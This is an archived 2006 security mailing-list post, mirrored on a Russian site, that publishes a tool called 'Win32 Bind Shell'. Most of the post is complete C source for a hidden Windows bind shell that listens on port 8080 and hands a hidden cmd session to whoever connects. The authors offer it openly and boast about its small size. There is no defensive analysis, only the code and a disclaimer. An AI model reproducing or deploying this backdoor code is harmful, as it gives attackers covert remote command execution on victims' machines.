The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


[TOOL] Win32 Bind Shell


<< Previous INDEX Search src / Print Next >>
From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 13 Feb 2006 19:03:00 +0200
Subject: [TOOL] Win32 Bind Shell
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-Id: <20060214150718.C6E865854@mail.tyumen.ru.>
X-Virus-Scanned: antivirus-gw at tyumen.ru

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -




  Win32 Bind Shell
------------------------------------------------------------------------


SUMMARY



DETAILS

Small bindshell (908 bytes for binary) compacted to 804 bytes with a 
little Headers modification.

Source:
/*##############################################################################
                         Haxorcitos Mini Shell

Details: Compiled Size: 908 bytes Tweaked Size : 804 bytes (with a little Headers modification by Tarako) This size can be also reduced disabling MsDos exe compatibility (maybe further release) Programado por/Coded by : Miguel Tarasc Acu a aka "Tarako" - [email protected] Programado por/Coded by : Andres Tarasc Acu a aka "aT4r" - [email protected] Pagina Web/ Web page : http://www.Haxorcitos.com Tested under Windows 2000 SP4 Spanish version Tested under Windows XP SP2 Spanish version Sorry Checksum.org. Our bind shell is smaller than yours (tx.exe) }:) and we also provide source code ################################################################################*/ #include <winsock2.h> #pragma comment(linker,"/ENTRY:WinMain") int WINAPI WinMain(HINSTANCE , HINSTANCE , LPSTR ,int ) { STARTUPINFO si; struct sockaddr_in sa; PROCESS_INFORMATION pi; int s; WSADATA HWSAdata; WSAStartup(0x101, &HWSAdata); s=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0); sa.sin_family = AF_INET; sa.sin_port = 0x901F; // (USHORT)htons(8080); sa.sin_addr.s_addr= 0x00; // htonl(INADDR_ANY); bind(s, (struct sockaddr *) &sa, 16); listen(s, 1); s= accept(s,(struct sockaddr *)&sa,NULL); si.cb = sizeof(si); // 0x44; si.wShowWindow = SW_HIDE; // 0x00 si.dwFlags = STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES; // 0x101 si.hStdInput = si.hStdOutput = si.hStdError = (void *) s; si.lpDesktop = si.lpTitle = (char *) 0x0000; si.lpReserved2 = NULL; CreateProcess( NULL ,"cmd",NULL, NULL,TRUE, 0,NULL,NULL,(STARTUPINFO*)&si,&pi); } ADDITIONAL INFORMATION The information has been provided by <mailto:tarako@gmail.com.> Miguel Tarasco. The original article can be found at: <www.Haxorcitos.com> www.Haxorcitos.com
This bulletin is sent to members of the SecuriTeam mailing list. To unsubscribe from the list, send mail with an empty subject line and body to: [email protected] In order to subscribe to the mailing list, simply forward this email to: [email protected]

DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

<< Previous INDEX Search src / Print Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2025 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру